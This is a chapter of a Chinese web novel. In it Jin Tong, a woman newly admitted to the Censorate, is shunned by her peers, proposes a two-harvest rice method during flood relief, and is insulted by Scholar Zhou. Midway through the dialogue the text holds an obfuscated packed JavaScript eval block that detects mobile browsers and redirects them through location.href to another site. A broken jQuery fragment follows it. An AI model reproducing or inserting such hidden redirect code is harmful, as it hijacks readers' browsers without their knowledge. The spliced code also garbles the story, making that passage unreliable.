鸡鸣三声，金桐一身素青官服，站在一间三进的院子前。


    眼前是绿顶红墙，院子门口左右两边各两棵槐树，枝繁叶茂，已有年头。


    朱红色的大门正上方挂了一块宝蓝色牌匾，金墨正楷写着“监察院”三个字。


    这是她全新的人生。


    金桐深吸一口气，轻推开门，踏在监察院内的青石砖上。


    她终于走到了这里。


    院内已经有了些人，二甲以上的考生今日都将聚集于此。


    金桐身处其中，即使身着统一官服，也显得像个异类。


    比如她不同于男子的发式，她身上小了几圈的官服，以及官服也遮掩不住的女子曲线。


    有些人的目光在她身上稍作停留，但也只是停留而已。


    对于她的到来，大多数人并不怎么好奇，早在驿馆中他们已经见她很多次了，便是没有驿馆中见过她，在考试当日也该对她有所印象。


    因此他们对她，没有表现出异常的兴趣。


    甚至可以说有些冷淡。


    偶尔会有几道目光从金桐身上划过，最后投向同类，他们只与同类交谈。


    金桐作为异类，不仅是外在上，更在体验上。


    旁人都三三两两聚在一处，她的身边布满一簇簇的人群，衬得她仿若一座孤城。


    他们所有人都在避免与她有所交流。


    他们接受她出现在考场，却不接受她出现在这里。


    邱监察的警示犹在耳侧，对于当下的处境，金桐心中早就有了准备。


    他们的孤立影响不了她分毫。不必与人虚与委蛇，她还乐得自在，一个人东瞧瞧西看看，一边熟悉监察院布局一边打发时间。


    卯时一到，侍读准时出现。


    他先是清点了人数，在确定人到齐后，他令众人按照他的话排好队。


    一甲三人站在前排，从左至右依次为状元、榜眼、探花，二甲则在这三人身后做蛇形排列。


    金桐作为第四十名，孤零零站在队伍的最后面，她身量较身前之人矮了许多，几乎被当了个严严实实。


    待他们拍好后，侍读又重新清点了一次人数，不知是不是金桐的错觉，她觉得侍读的眼神在她身上停留的时间照别人长了些许。


    点完人数，侍读回到队伍正上方，问第一排的三人道：“翁修明，盖容，高易？”


    三人拱手道：“正是。”


    “你们三个随我来，其余人等在此等候。”


    众人初来乍到，唯侍读命是从，齐声应是。


    日光将影子照得愈发细长，时候已经不早，一甲三人仍未回来。


    二甲众人虽然等得心焦，但因没得到侍读的允准，也不敢擅自行动。


    金桐躲在大个子同僚身后，偷偷抹了把汗，双脚酸痛。


    她这时才后悔平日缺少锻炼，体力不比男子，暗自下了决心回去之后要想些办法提升体力。


    日头渐高，晒得她头脑发晕，身体也开始无意识打摆。


    在她几乎撑到极限的时候，又一位侍读出现了。


    监察院一共两位侍读，今日他们算是全见过了。


    金桐从大个子同僚身后探出头，正瞧见熟人。


    这位侍读就是考试那日引她去见邱监察的人。


    看见熟悉的面孔，金桐因长久站立的不适感减轻许多。


    侍读显然发现了金桐的小动作，暗中给她使了个眼色，金桐立刻缩回到队列里。


    侍读道：“诸位久等，请随我来。”


    他对这近乎一个时辰的“罚立”没有任何解释，随口一句就轻飘飘带过了，众人心中虽有怨气，却不敢吭一声。


    他们走的方向与一甲不同。


    监察院分司禾署、鉴谷署、舆田署、农政署四处，方才一甲三人进去的是农政署，他们来到的则是舆田署。


    署内共五位学士，三位埋头于桌案，两位蓄着长须的长者正旁若无人地争辩。


    侍读轻咳了声，算是提醒他们，他们意犹未尽地停下来，鼻中发出轻哼，谁也不服谁。


    侍读道：“人带到了。”


    “来了啊。”


    面对他们，这其中一位学士一改凶相，笑得万分慈祥。


    而另一位……不知是不是错觉，金桐觉得他好像面色不善地看了自己一眼。


    侍读介绍了五位学士，众人以后可以以姓称呼他们，方才争执的二位资历在其余三人之上，一位姓张，一位姓周。


    张学士笑眯眯道：“以后大家就是同僚了，都别客气，坐，坐。”


    他们四十人，分别坐在奇长的红木桌案两侧，张学士指着桌案上堆成山的公文，笑得见牙不见眼，“今后三个月，你们只需在此处理公文，咱们检察院负责的是民生的大事，没那么多规矩，但也容不下任何偷闲躲静的人。你们四十人当中最后能留下的仅有三人，若有人想要退出，现在便可离开。”


    说到这里，他的神色肃然一凌，鹰隼般锐利的目光扫视全场，似要看透每一个人。


    众人被这忽然的变脸震慑住，无一人走。


    张学士很满意他们的反应，“诸位同僚，请吧。”


    他右手掌心向上，指向桌上狼藉，众人不敢懈怠，都就近抽出一本公文，埋头看起来。


    署内静悄悄的，只有不停翻合公文的声音。


    金桐手边摞了两三本已经处理完的，又拿了一本新的看，里面记录的是顺河水患之事。


    西京地处北面，往年雨水不算多，今年收成尚且受到影响，顺河水患到了什么地步自然不必说。


    修建堤坝、挖渠引水那是工部的事，与他们无关，他们只管百姓能否吃饱饭。


    正如公文中所写，洪灾过后，所为不过亡羊补牢，稻田已经冲毁，顺河存粮有限，百姓叫苦不迭，粮价水涨船高。


    朝廷拨了四次赈灾粮草，均效果甚微，阻止不了难民的北移。


    京中已经出现了从顺河逃难过来的人，长此以往将引起祸患。


    金桐朱笔轻动，在赈灾粮处标注下一处疑问。


    她正思索，对面两位学士又有争起来的苗头，他们的只言片语不经意流进金桐耳朵里。


    张学士道：“民间有童谣，顺河老鼠大如斗，见人开仓亦不走，赈灾粮一车一车运过去，百姓还没见到，半数以上先进了老鼠肚里，你说该如何？”


    周学士冷哼一声，道：“此鼠非鼠，狸奴去了也掉层皮，我又能如何？要不你去？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868519|191821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    两位学士气得胡子翘，连叹三声，对此不再谈及，研究岭南的收成。


    岭南在顺河上游，未受水患影响，但每年存量都不多，仅够当地百姓自给自足，对于顺河的颓景爱莫能助。


    岭南较顺河处北，较西京却处南，属于南北交界之处。


    “岭南每年只能种一茬，因而收成不尽人意，若种两茬，等不到第二茬收获就开始入冬……”金桐用笔杆戳着下巴，略作思索，“种一茬而两收，或许可以解决粮食短缺的问题。”


    张学士闻声转头，打量了她一下，道：“细说。”


    金桐道：“我曾在古籍上看到，在稻子初熟时，用镰刀割去顶端三分之二，此为一收，之后两个月，余下的三分之一重新抽条成熟，此时再则为二收。这种方法所需时间短，虽然两次收获的粮食数量单论起来都比不过正常的种植方法，但若加在一起，总量就十分可观了。”


    “你说的这个法子我也知晓，只是未经实践，结果如何还不好说。别说地方了，西京的粮仓也算不上富裕，何处能舍出那么大一片田来试呢？若结果未出，百姓跟风效仿，只会弄巧成拙引起粮灾。”


    金桐道：“学士放心，这个法子学生已经验证过了。”


    周学士闻言，将手中的公文一摔，骤然抬头，“你个小丫头，这种事情也敢夸口？”


    “呵。”他冷笑看着金桐，却意有所指，“有些女子仗着自己看过些书就爱出风头，不本本分分呆在家里，非来掺和男子的事。”


    他一点情面也不留，甚至是有意针对。


    金桐也被这突如其来的训斥砸得头脑发懵，感觉到周遭幸灾乐祸的目光聚集在她身上，她不明白自己说的话怎能惹出这般怒火。


    金桐不卑不亢道：“学士所言，学生不懂。”


    “哼，无知妇人。”


    “哎哎哎，说什么呢，都是同僚，你说什么呢？”张学士拉住周学士，帮他打圆场，“小丫头，你别跟他一般见识，他就这驴脾气，跟谁都这样。”


    金桐初来乍到，本着多一事不如少一事的原则，不想和周学士硬碰，但对方一再欺辱，她也来了脾气。


    正欲开口驳斥，便瞧见张雪是冲着他挤眉弄眼，食指竖在嘴前比着“嘘”。


    金桐忧怨地将话吞了回去，有张学士这只老狐狸左右和稀泥，她真是发做不得，只能咬牙忍了。


    她愿意息事宁人，显然周学士没打算放过她，他猛地抽出衣袖，用力一甩，不顾张学士的劝阻，指着金桐大骂：“我告诉你，你能坐在此处与我共事是监察大人开恩，我劝你安分些，收起没用的心思。”


    此言一出，引起轩然大波，多少人发出不屑地哧声，还有嘘声和不怀好意的笑。


    金桐怔愣在位子上，满腔的委屈和屈辱再也压不住，她“噌”地站起，身后却传出一道声音。


    “本监察似乎听到有人在唤我。”


    邱监察出现得这样巧，不知在门口听了多久。


    众人起身参拜，邱监察随意地摆摆手，让他们不必多礼。


    周学士却未因她的话坐下，任张学士拽也拽不动丝毫。


    他隔着长桌与邱监察无声对峙，在场众人屏住呼吸，时间仿佛在此时静止。